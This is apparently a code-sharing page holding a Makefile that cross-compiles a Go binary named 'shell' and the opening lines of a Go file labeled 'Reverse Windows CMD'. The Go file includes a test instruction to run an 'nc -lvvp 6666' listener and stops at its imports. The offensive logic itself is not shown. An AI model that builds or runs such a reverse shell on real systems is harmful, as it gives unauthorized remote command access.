This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
EXE = shell | |
SRC = . | |
LDFLAGS = -ldflags="-s -w" | |
windows: | |
GOOS=windows go build -o $(EXE)_win.exe $(LDFLAGS) $(SRC) | |
macos: | |
GOOS=darwin go build -o $(EXE)_macos $(LDFLAGS) $(SRC) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// +build windows | |
// Reverse Windows CMD | |
// Test with nc -lvvp 6666 | |
package main | |
import ( | |
"bufio" | |
"net" | |
"os/exec" |